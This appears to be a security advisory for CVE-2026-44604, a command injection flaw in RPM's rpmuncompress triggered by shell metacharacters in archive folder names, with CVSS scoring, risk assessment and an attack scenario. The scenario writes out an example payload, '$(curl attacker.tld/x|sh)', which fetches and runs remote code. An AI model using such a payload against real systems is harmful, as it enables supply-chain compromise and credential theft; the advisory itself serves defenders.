RPM rpmuncompress CVE-2026-44604

Exploitation requires (1) the victim to invoke rpmuncompress on an attacker-supplied archive in ZIP, 7z, or GEM format - RPM's native cpio payload path is not in scope per the description; (2) the archive must contain a top-level folder whose name embeds shell metacharacters; (3) UI:R means a human or automated workflow must initiate the extraction, the vulnerability does not self-trigger; and (4) AV:L means the attacker reaches rpmuncompress through local execution on the host, typically by delivering the archive via download, email, USB, or package-repository ingestion rather than direct network exploitation. Limiting factors: AC:H reflects that the attacker must control the archive's directory naming and that delivery to a vulnerable extraction workflow is non-trivial; PR:N means the attacker themselves needs no prior credentials on the target, but the resulting code executes only with the privileges of the user running rpmuncompress, which in CI/build contexts may still be substantial.

The CVSS 3.1 vector AV:L/AC:H/PR:N/UI:R/S:U/C:H/I:H/A:H scores 7.0 (High), driven by full CIA impact but tempered by local attack vector, high attack complexity, and required user interaction - the victim must be induced to run rpmuncompress against an attacker-controlled archive. No EPSS score, KEV listing, or POC availability is reported in the supplied intelligence, so this is no public exploit identified at time of analysis rather than confirmed active exploitation. Realistic risk is moderate: the bug is broadly reachable wherever RPM tooling auto-invokes rpmuncompress on untrusted archive inputs (e.g., automated build pipelines, repository ingestion, container image construction), which could elevate the practical attack vector closer to network-reachable supply-chain exposure even though CVSS scores it as AV:L. Security teams should treat this as a high priority for build infrastructure and developer workstations that process third-party archives, and as moderate priority for end-user RHEL desktops.

An attacker publishes a crafted ZIP/7z/GEM archive on a third-party repository, package mirror, or supply-chain location whose top-level folder name embeds shell metacharacters such as $(curl attacker.tld/x|sh). A developer or build pipeline downloads the archive and runs rpmuncompress (directly or indirectly via rpmbuild/dnf) to extract it, at which point the shell interprets the injected payload and executes arbitrary commands as the extracting user, enabling credential theft, source tampering, or pivot into the build environment. No public exploit identified at time of analysis, but the bug is straightforward to weaponize once the unsafe command construction is located in source.